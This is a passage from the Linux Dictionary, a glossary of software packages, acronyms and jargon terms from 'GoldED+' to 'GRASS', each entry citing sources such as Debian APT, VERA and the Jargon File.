Offline mail reader for Fidonet and Usenet GoldED+ is an offline mail reader for Fidonet message bases in AdeptXBBS, EzyCOM, Fido (*.MSG), Goldbase, Hudson, JAM, PCBoard, Synchronet, Squish and WildCat. It is also able to import QWK (BBS offline mail format) and SOUP (Usenet offline mail format) packages into said message bases, and re-export packages for upload. GoldED+ is a successor of the well-known GoldED mail editor. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gom

A generic audio mixer (Base versions) gom is a generic audio mixer program; it tries to provide a complete and convenient interface for all kind of audio mixer manipulation. gom's facilities include sound driver (compile time) and sound card (run time) independence, arbitrary mixer selection, loading and saving of mixer settings, volume fading, verbosity-level driven output, "Un*x-like scripting support", etc. At the moment, gom only supports the Open Sound System (OSS) sound driver. OSS comes with the Linux kernel as free software called OSS/Free, and is available for a number of other platforms. Apart from the exhaustive command line interface described here, gom optionally has two built-in interactive interfaces (that I call gomiis, gom interactive interfaces): a terminal gomii using ncurses, and a X gomii using the xview toolkit. All gomiis support adjustable (this includes disabling) real time updating. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gom-x

A generic audio mixer (X version) This package only includes a binary of gom with built-in X support (needs xview). It supersedes the binaries in the base package and will per default be the preferred alternative of all "gom" binaries. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Good-Day GNU/Linux HA Server

Good-Day GNU/Linux HA Server is a Debian-based distribution, which uses only free software. It is developed by Good-Day Inc. (in Japan). They say that their distribution features high availability, and is for Web applications. The folks at Good-Day Inc. also make a "real-time backup utility for PostgreSQL" named "Usogres" ("Uso" is a Japanese word for "fake") available before the PostgreSQL team made replication available. From LWN Distribution List

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

google

v. [common] To search the Web using the Google search engine, www.google.com. Google is highly esteemed among hackers for its significance ranking system, which is so uncannily effective that many users consider it to have rendered other search engines effectively irrelevant. From Jargon Dictionary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

googlizer

utility to search Google via your GNOME menu/panel This is a very simple and very handy utility that just spawns the configured GNOME browser with a Google search on whatever you have in the X clipboard (whatever you last selected). It's not even an applet, just a program with a launcher that's nice to put on the panel – drag it there from the menu. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

goops

Guile interpreter linked with GOOPS. GOOPS is the object oriented extension to Guile. GOOPS can be dynamically loaded into any Guile interpreter. However, this package is useful if dynamic loading doesn't work on your system. Other GOOPS packages are: libgoops5, libgoops5-dev, goops-doc The implementation is derived from STk-3.99.3 by Erick Gallesio and version 1.3 of Gregor Kiczales 'Tiny-Clos'. See 'libgoops5' for further information. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GOP

Group Of Pictures (video) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gopher

Distributed Hypertext Client, Gopher protocol This package contains the client for the distributed global directory and hypertext system known as gopher. This is a text-based (ncurses) client from the University of Minnesota. It also supports the gopher+ protocol, as well as links to ftp, http, and other external viewers. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Gopher

Gopher is an almost irrelevant protocol today, but it was very popular in the early 1990s. Gopher is simply a hierarchical menu of hyperlinks. This means that like HTTP/HTML, you can build virtual sites containing documents from other sites. However, unlike HTTP/HTML, the only structure is that of a hierarchical menu: it doesn't support hyperlinking within the documents that it points to. Key point: There are still a lot of Gopher servers out there, However, since they are no longer mainstream, they are rarely maintained by security people. Therefore, they often present a way to compromise the network. From Hacking–Lexicon <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Gopher

In UNIX based systems linked to the Internet, a menu–based program that helps you find files, programs, definitions, and other resources on topics you specify. Gopher was originally developed at the University of Minnesota and named after the school mascot. Unlike FTP and Archie, Gopher doesn't require you to know and use details of host, directory, and file names, Instead, you browse through menus and press Enter when you find something interesting. You usually see another menu, with more options, until finally you select an option that displays information. You can then read the information or save it to your disk storage area after retrieving it with anonymous FTP. The World Wide Web (WWW) has begun to make Gopher and other text–based Internet search tools obsolete. From QUECID <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

Gopher

Invented at the University of Minnesota in 1993 just before the Web, gopher was a widely successful method of making menus of material available over the Internet. Gopher was designed to be much easier to use than FTP, while still using a text–only interface. Gopher is a Client and Server style program, which requires that the user have a Gopher Client program. Although Gopher spread rapidly across the globe in only a couple of years, it has been largely supplanted by Hypertext, also known as WWW (World Wide Web). There are still thousands of Gopher Servers on the Internet and we can expect they will remain for a while. From Matisse <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gopher

n. A type of Internet service first floated around 1991 and obsolesced around 1995 by the World Wide Web. Gopher presents a menuing interface to a tree or graph of links; the links can be to documents, runnable programs, or other gopher menus arbitrarily far across the net. Some claim that the gopher software, which was originally developed at the University of Minnesota, was named after the Minnesota Gophers (a sports team). Others claim the word derives from American slang 'gofer' (from "go for", dialectal "go fer"), one whose job is to run and fetch things. Finally, observe that gophers dig long tunnels, and the idea of tunneling through the net to find information was a defining metaphor for the developers. Probably all three things were true, but with the first two coming first and the gopher–tunnel metaphor serendipitously adding flavor and impetus to the project as it developed out of its concept stage. From Jargon Dictionary <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gopherd

Gopher server The UMN gopher server. This server is a robust and full–featured gopher and gopher+ server with a HTTP mode as well. It features support for indexing, ASK blocks, .Links files, .names files, .cap support, and pretty much any gopher feature you could imagine. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

gopherweblink

Generate web link files for gopher servers This program is used to let you add links to web sites from Gopher directories on your gopher server. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

GOPS

Giga Operations Per Second From VERA <http://www.tldp.org/LDP/Linux–Dictionary/html/index.html>

GOSIP

Government Open Systems Interconnections Profile (USA, UK) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GOSMACS

/goz'maks/ n. [contraction of `Gosling EMACS'] The first EMACS-in-C implementation, predating but now largely eclipsed by GNUMACS. Originally freeware; a commercial version was modestly popular as `UniPress EMACS' during the 1980s. The author, James Gosling, went on to invent NeWS and the programming language Java; the latter earned him demigod status. From Jargon Dictionary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gotmail

Script to fetch mail out of a hotmail account Gotmail is a perl script to fetch mail out of a hotmail account. This is especially useful if you want to move from Hotmail into one of the other free mail services – one command can do it all. GotMail also supports getting any new mail only from your Hotmail account – perfect for using a HotMail account as a redirect address into another account.

From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gozer

a text renderer It's a commandline text renderer. It will take text on the commandline or from a file and render it using antialiased TrueType fonts, using optional font styles, word wrapping, justification and layout control. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPA

GNU Privacy Assistant (GNU, GnuPG) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpa

The GNU Privacy Assistant The GNU Privacy Assistant is a graphical user interface for the GNU Privacy Guard (GnuPG). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpaint

GNU Paint – a small, easy to use paint program for GNOME This is gpaint (GNU Paint), a small-scale painting program for GNOME, the GNU Desktop Environment. gpaint does not attempt to compete with GIMP, it is just a simple drawing package based on xpaint, along the lines of 'Paintbrush' from a popular non-free operating system. Currently gpaint has the following features: * Drawing tools such as ovals, freehand, polygon and text, with fill or shadow for polygons and closed freehand shapes. * Cut and paste by selecting irregular regions or polygons. * Preliminary print support using gnome-print. * Modern, ease-to-use user interface with tool and color palettes. * Multiple-image editing in a single instance of the program. * All the image processing features present in xpaint. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpal

a friendly GUI frontend for the PayPal micropayment service gPal is a friendly GUI frontend for the PayPal micropayment service allowing users to check their balance, send money and make requests for money to and from other PayPal users. It uses SSL encryption to ensure the security of transactions. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpart

Guess PC disk partition table, find lost partitions Gpart is a tool which tries to guess the primary partition table of a PC-type disk in case the primary partition table in sector 0 is damaged, incorrect or deleted. It is also good at finding and listing the types, locations, and sizes of inadvertently-deleted partitions, both primary and logical. It gives you the information you need to manually re-create them (using fdisk, cfdisk, sfdisk, etc.). The guessed table can also be written to a file or (if you firmly believe the guessed table is entirely correct) directly to a disk device. Supported (guessable) filesystem or partition types: * BeOS filesystem type. * FreeBSD/NetBSD/386BSD disklabel

sub-partitioning scheme used on Intel platforms. * Linux second extended filesystem. * MS-DOS FAT12/16/32 "filesystems". * IBM OS/2 High Performance filesystem. * Linux LVM physical volumes (LVM by Heinz Mauelshagen). * Linux swap partitions (versions 0 and 1). * The Minix operating system filesystem type. * MS Windows NT/2000 filesystem. * QNX 4.x filesystem. * The Reiser filesystem (version 3.5.X, X > 11). * Sun Solaris on Intel platforms uses a sub-partitioning scheme on PC hard disks similar to the BSD disklabels. * Silicon Graphics' journaled filesystem for Linux. Other types may be added relatively easily, as separately compiled modules. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpasswd

administer the /etc/group file From whatis

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPC

General-Purpose Computation From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPC

GNU Pascal Compiler (GNU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPC

Graphics Performance Characterization [committee] (org., HP, IBM, DEC, SGI, Sun,...) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPC

Group Policy Container (AD, GPO) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpc

The GNU Pascal compiler. This is the GNU Pascal compiler, which compiles Pascal on platforms supported by the gcc compiler. It uses the gcc backend to generate optimized code. The current version 2.2 (release candidate 2) implements Standard Pascal (ISO 7185, level 1), a large subset of Extended Pascal (ISO 10206), and Borland Pascal. Many Borland Pascal units supported. This is a dependency package providing the default GNU Pascal compiler for Debian GNU/Linux systems (version 2.95.4 for architecture i386). From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpc-2.95

The GNU Pascal compiler. NOTE: This is not a final release, but taken from the CVS gcc-2_95-branch (dated 2001-10-02). This is the GNU Pascal compiler, which compiles Pascal on platforms supported by the gcc compiler. It uses the gcc backend to generate optimized code. The current beta release 2.2 implements Standard Pascal (ISO 7185, level 1), a large subset of Extended Pascal (ISO 10206), and Borland Pascal. Many Borland Pascal units supported. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPCI

Graphics Processor Command Interface From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gperf

Perfect hash function generator. gperf is a program that generates perfect hash functions for sets of key words. A perfect hash function is simply: A hash function and a data structure that allows recognition of a key word in a set of words using exactly 1 probe into the data structure. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gperf-ace

Perfect hash function generator (ACE version) gperf-ace is the ACE version of gperf. Both gperf-ace and gperf were written by the same author, and have basically the same options and functionality. gperf-ace simply takes advantage of some of the features provided by the ACE library. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gperiodic

periodic table application GPeriodic is a small X/GTK+–based program which allows you to browse through a periodic table of chemical elements, and view somewhat detailed information on each of the elements. 118 elements are currently listed. The program is available in English, Portuguese, Spanish, German, French, Italian, Dutch and Russian. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPF

General Protection Fault (Windows) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpg

encryption and signing tool From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPG

GNU Privacy Guard (GNU) From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpgv

signature verification tool From whatis <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gphone

X/GTK–based internet telephone. Gphone is an internet telephone. As the name implies, it aims to be fully gnome–groovy, but that hasn't quite happened yet. Gphone is definitely a work in progress and you probably shouldn't bet your business on it. Don't be too hard on the program, though -- although the user interface is mighty rough, gphone does actually work pretty well. The data rate should be low enough to work over a reasonable modem connection. The protocol is nominally RTP/RTCP, and gphone complies well enough with the standard to be able to talk to speakfreely. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gphoto

gPhoto is part of the GNU project – and is an universal, freeGTK+ application and library framework that lets you download images from several different digital camera models, and from the local hard drive, and generate HTML albums. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gphoto

Universal application for digital cameras Gphoto will allow downloading, saving and manipulation of images from several different camera models, or from the harddrive. It also comes with a HTML engine, to publish photos on the web, and a command line interface to use it from a script From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gphoto2

The gPhoto2 project is a universal, free application and library framework that lets you download images from several different digital camera models, including the newer models with USB connections. Note that a) for some older camera models you must use the old "gphoto" package. b) for USB mass storage models you must use the driver in the kernel This package contains the command–line utility gphoto2. From Mandrake 9.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gphoto2

The gPhoto2 project is a universal, free application and library framework that lets you download images from several different digital camera models, including the newer models with USB connections. Note that for some older camera models you must use the old "gphoto" package. For USB mass storage models, you must use the driver in the kernel. This package contains the library that digital camera applications can use and the command–line utility gphoto2. Other (GUI) frontends are available separately. From Redhat 8.0 RPM

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gphotocoll

Linux Dictionary

A tool to manage your photo collection GNOME Photo Collector has been designed to help you managing your photo collection, or any type of images. It uses a PostgreSQL database (either local or not) to store all sort of informations about your images, such as : o type of film used o ID, pathname, etc... o type and model of camera o date o description o keywords o ... The keywords defined for each image allow you to perform a search in your database to find a particular image. GPC supports all formats supported by the gdk-pixbuf library, since it is used to load the images. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPI

Graphics Programming Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPIB

General-Purpose Interface Bus (IEEE 488, GPIB) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpic

compile pictures for troff or TeX From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPIO

General Purpose Input Output From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPL

/G-P-L/ n. Abbreviation for 'General Public License' in widespread use; see copyleft, General Public Virus. Often mis-expanded as 'GNU Public License'. From Jargon Dictionary
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPL

General Public Licence (GNU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPL

Graphics Programming Language From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPL (GNU General Public License)

A common usage and redistribution license. Visit www.linuxdoc.org/LDP/gs/app-gpl/node1.html to see a copy of the GPL agreement. From I-gloss
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpm

General Purpose Mouse Interface This package provides a daemon that listens to the mouse when the console is displayed, and delivers them to applications. The default when no application is running is to emulate "selection", i.e. allow cut-and-paste with the mouse on the console the same way as under X. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPM

Gesellschaft fuer ProjektManagement [e.v.] (org.) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpm

Gpm provides mouse support to text-based Linux applications like the Emacs editor and the Midnight Commander file management system. Gpm also provides console cut-and-paste operations using the mouse and includes a program that allows pop-up menus to appear at the click of a mouse button. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPO

Group Policy Objects (AD, GPO) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPP

[SCSI-3] Generic Packetized Protocol (SAM) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpppkill

GTK+ pppd monitoring and control utility gpppkill is a small GTK+ program which displays a graph of ppp link usage and also has options to kill pppd after a specified time of low link usage, or after a given amount of time. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpppon

A gnome applet that is a wrapper around pon and poff. gpppon is a gnome applet that reads the names of the configured providers from /etc/ppp/peers and calls the pon and poff scripts with the selected provider as argument. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPR

General Purpose Register (CPU) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpr

GUI for lpr: print files and configure printer-specific options GPr is a graphical interface to lpr that provides for easy configuration of printer-specific options. GPr interfaces with a PostScript printer's PPD file to create a user-interface of configurable options. Based upon user choice, the device-specific option code is then inserted into the PostScript job and sent to the printer. This can be used to tell the printer to duplex or staple the print job, or tell it what paper tray to draw paper from. NOTE: gpr will detect if the file to be print is postscript, and, if not, it will call a2ps to preprocess it before sending it to pdffilt and to lpr. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gprof

display call graph profile data From whatis
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gprof

Reference documentation to GNU gprof, the GNU Profiler. From Linux Guide @FirstLinux
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gprolog

GNU Prolog compiler. GNU Prolog is a free Prolog compiler with constraint solving over finite domains (FD) developed at INRIA by Daniel Diaz. GNU Prolog is based on two systems developed by the same author (with lot of code rewriting and a lot of new extensions): wamcc and clp(FD). A lot of work has been devoted to the ISO compatibility, GNU Prolog is very close to the ISO standard, full compliance being one of its goals. From Debian 3.0r0 APT
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPRS

General Packet Radio Service / System (ETSI, GSM, TCP/IP, GPRS, mobile-systems) From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPS

Global Positioning System From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gps

Graphical PS using GTK gPS a graphical applet to watch system processes, like ps and top. It shows lots of information on each process and allows users to kill, send signals to, renice and filter processes. And also with the rgpsp package can watch processes on other machines across a network. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPSI

Graphics Processor Software Interface From VERA
<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpsim

Simulator for Microchip's PIC microcontrollers Gpsim is a full-featured software simulator for Microchip PIC microcontrollers. Gpsim has been designed to be as accurate as possible. Accuracy includes the entire PIC – from the core to the I/O pins and including ALL of the internal peripherals. Thus it's possible to create stimuli and tie them to the I/O pins and test the PIC the same PIC the same way you would in the real world. Gpsim has been designed to be as fast as possible. Real time simulation speeds of 20Mhz PICs are possible. Gpsim has been designed to be as useful as possible. The standard simulation paradigm including breakpoints, single stepping, disassembling, memory inspect & change, have been implemented. In addition, gpsim supports many debugging features that are only available with in-circuit emulators. For example, a continuous trace buffer tracks every action of the simulator. Also, it's possible to set read and write break points on values (e.g. break if a specific value is read from or written to a register). From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpsim-lcd

LCD module for gpsim Gpsim-lcd is a LCD module for gpsim, it consists of a shared library that is dynamically loaded. Examples how to use the module are included. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpsim-led

LED module for gpsim Gpsim-led is a 7-segment led module for gpsim, it consists of a shared library that is dynamically loaded. Examples how to use the module are included. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpsim-logic

logic module for gpsim Gpsim-logic is a simple module library that contains a 2-input AND gate and a 2-input OR gate. It consists of a shared library that is dynamically loaded. This library also illustrates how a module can drive a pin on the pic. Examples how to use the module are included. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpsk31

A gtk based psk31 This is a PSK31 transmission mode program using the sound card and optionally serial port to PTT the RIG. It has nice functions and listen very well. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpsman

A GPS manager GPS Manager (GPSMan) is a graphical manager of GPS data that makes possible the preparation, inspection and edition of GPS data in a friendly environment. GPSMan supports communication and real-time logging with both Garmin and Lowrance receivers and accepts real-time logging information in NMEA 0183 from any GPS receiver. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpstrans

communicate with a Garmin Global Positioning System receiver GPStrans allows a user with a Garmin GPS receiver to upload and download waypoints, routes, almanac (satellite orbit elements), and track routes. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPT

Group Policy Template (AD, GPO) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPT

GUID Partition Table (EFI, GUID) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPU

Graphics Processing Unit From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gputils

GNU PIC utilities Those utilities for the Microchip PIC microcontrollers family contain an assembler (compatible with MPASM), a disassembler, and other tools. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GPV

General Public Virus From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gpw

Trigraph Password Generator This package generates pronounceable passwords. It uses the statistics of three-letter combinations (trigraphs) taken from whatever dictionaries you feed it. Thus pronounceability may differ from language to language. Based on the ideas in Morrie Gasser's password generator for Multics, and Dan Edwards's generator for CTSS. FIPS Standard 181 describes a similar digraph-based generator, derived from Gasser's. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gq

GTK-based LDAP client GQ is GTK+ LDAP client and browser utility. It can be used for searching LDAP directory as well as browsing it using a tree view. Features include: – browse and search modes – LDAPv3 schema browser – template editor – edit and delete entries – add entries with templates – export subtree or whole server to LDIF file – use any number of servers – search based on single argument or LDAP filter – TLS support for LDAPv3 From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gqcam

GTK Webcam control Gqcam is a program originally created to pull frames from a greyscale Connectix QuickCam, but that has grown into a frame grabber for most any Video4Linux compatible webcam-like camera. It should work with any camera that supports the read() method of grabbing frames. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gqmpeg

a GTK+ front end to mpg321/mpg123 and ogg123 GQmpeg is a GTK+ front end to mpg321/mpg123 for mpeg audio file playing, as well as ogg123 for Ogg Vorbis support. It includes playlist support, many options, and its themeability is extraordinarily flexible. gqmpeg requires mpg321 or mpg123 for playback of mpeg audio files, and ogg123 for the playback of Ogg Vorbis files. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gqview

A simple image viewer using GTK+ Simple image browser with thumbnail capability. Uses GTK+ and gdk-pixbuf. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gqview

GQview is an image viewer for browsing through graphics files. GQview features include single click file viewing, support for external editors, previewing images using thumbnails, and zoom. From Redhat 8.0 RPM <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grace

An XY plotting tool Grace is a point-and-click tool that allows the user to draw X-Y plots. This is the program formerly known as Xmgr. A few of its features are: User defined scaling, tick marks, labels, symbols, line styles, colors. Polynomial regression, splines, running averages, DFT/FFT, cross/auto-correlation. Batch mode for unattended plotting. Hardcopy support for PostScript, FrameMaker and several image formats. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRADD

GRaphics Adapter Device Driver (OS/2, IBM) From VERA <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gradio

GTK FM radio tuner. GTK-based X11 application for adjusting the frequency and volume of, and muting and unmuting, FM radio cards. From Debian 3.0r0 APT <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grafix1

scientific visualization library **Grafix** is a utility originally designed to help scientists in the visualization of results of a computation, e.g. for numerical integrations of partial differential equations. It can be used, however, for any application that wants to use X for drawing pictures, functions or other graphic objects in a convenient interactive manner or even for writing a graphical user interface for any task. **Grafix** should be considered as a layer between an application and the X Window system built up of a bunch of basic classes as building elements. The simplest way of using it is to define instances of these classes. For more complicated programs the user has to define own derivations to the basic classes. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gramofile

Transfer sound from gramophone records to CD **GramoFile** enables you to record audio from (for example) gramophone records, process the signal and listen to the results. Because sound files in .WAV-format are used, it is possible to exchange the files with many other programs. **Cdrecord(1)** can burn CD-Recordables of these, so you can make CDs with the music of your favorite records. The user interface of **GramoFile** has a windows-like look-and-feel, making it fairly easy to use. One of the most important parts of **GramoFile** is the ability to process digital audio signals. Through the application of several filters it is possible to accomplish a significant reduction of disturbances like ticks and scratches. These filters have been programmed in such a fashion that they can be applied in any order (and multiple times) in a single run, thus avoiding the use of temporary files. It is possible to adjust the properties of each filter independently, so in every situation an optimal result can be achieved. Another interesting feature is the track splitting. Just make one .wav file of an entire side of an record and **GramoFile** will detect where the individual tracks are located. This happens fully automatically, without need to set any options. More experienced users may fine-tune the algorithm, or change the detected track starts and ends, but generally that will not be necessary. Track-times are saved in an editable (plaintext) .tracks file, that will be used during the signal processing to produce one processed .wav file for each individual track. To record and play .wav files, modified versions of **brec(1)** and **bplay(1)** by David Monro are included. These programs provide buffered recording and playback, so all will go well even on a highly loaded system. Both programs have been modified to support the standard **GramoFile** user interface. **Brec** also got a 'graphical' peak level meter, and **bplay** a running time display. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Grand Unified Bootloader (GRUB)

A small software utility that loads and manages multiple operating systems (and their variants).

GRUB is the default bootloader for Red Hat Linux. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grandfatherclock

a clock that tolls time acoustically **grandfatherclock** plays audio files to report the time. The default configuration emulates a grandfather clock with Westminster chimes. Cuckoo clock and Close Encounters of the Third Kind files are included as well. As a matter of fact, **grandfatherclock** can be configured to execute any command. The upstream default is simply to write a *.au file to a sound device file by using **cat(1)**. Since **cat** is not a good sound player, the default is changed to use **sox** instead. **grandfatherclock** depends on **sox** to ensure that it can run under the default configuration. You also need a kernel support for a sound device to use **grandfatherclock**. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GrandLinux

Formerly Kaiwal Linux, **GrandLinux** 4.4 seems to be the most recent version (as of September 2002). Looks like box sets and training and other Linux stuff. Website text in Thai. From LWN Distribution List <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

grap

A program for typesetting graphs This is **grap**, an implementation of Kernighan and Bentley's **grap** language for typesetting graphs. The **grap** preprocessor works with **pic** and **troff** (or **groff**). **Grap** is a

language for describing graphical displays of data. It provides such services as automatic scaling and labeling of axes, and for statements, if statements, and macros to facilitate user programmability. `Graph` is intended primarily for including graphs in documents prepared with `groff` or `TeX`, and is only marginally useful for elementary tasks in data analysis. From Debian 3.0r0 APT

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

graphical login

A graphical interface for logging into a desktop environment. Red Hat Linux uses the GNOME Desktop Manager (GDM) for graphical login; XDM and KDM are also supported. From Redhat-9-Glossary <http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

Graphical User Interface (GUI)

A picture-like control panel or screen (as opposed to a text-based screen), that makes a computer or presentation system easy to use. Amiga, Macintosh, and Windows environments are example of GUIs. From Glossary of Distance Education and Internet Terminology

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

graphical user interface (GUI)

A visual object that enhances interaction between a computer and a user. A GUI displays windows, icons, menus, labelled buttons, and a virtual desktop. A GUI sends commands to the system via these icons and menus rather than typed commands. From Redhat-9-Glossary

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRASP

Graphic Animation System for Professionals From VERA

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

GRASS (Geographic Resources Analysis Support System)

is a public domain raster based GIS, vector GIS, image processing system, and graphics production system. Created by the US Army Corps of Engineers, Constriction Engineering Research Laboratory (USA/CERL) and enhanced by many others, it is used extensively at government offices, universities and commercial organizations throughout the world. It is written mostly in C for various UNIX based machines. Linux is one of its more robust implementations. GRASS contains over 40 programs to render images on monitor and paper; over 60 raster manipulation programs; over 30 vector manipulation programs; nearly 30 multi-spectral image processing manipulation programs; 16 data management programs; and 6 point file management programs. GRASS' strengths lie in several fields. The simple user interface makes it an ideal platform for those learning about GIS for the first time. Users wishing to write their own code can do so by examining existing source code, interfacing with the documented GIS libraries, and by using the GRASS Programmers' Manual. This allows more sophisticated functionality to be fully integrated within GRASS. Other strengths include GRASS' pioneering of mixed resolutions in a data base, mixed geographic coverage areas in a data base, raster image compression techniques via run-length encoding and reclassification lookup tables, GRASS' rescaling of display images on the fly to fill the display screen, plus its fundamental design criterion of powerful computer-assisted scientific analysis of environmental issues (as opposed to merely going for intricate cartographic output of relatively simple processes). GRASS is usually supplied as free, non-copyright source code to be compiled on host machines. Some compiled binaries are also easily obtainable at no cost via the Internet. It runs on a variety of UNIX platforms. Copied from Project Assist Intro to GRASS. From GRASS HOWTO

<http://www.tldp.org/LDP/Linux-Dictionary/html/index.html>

gravitywars

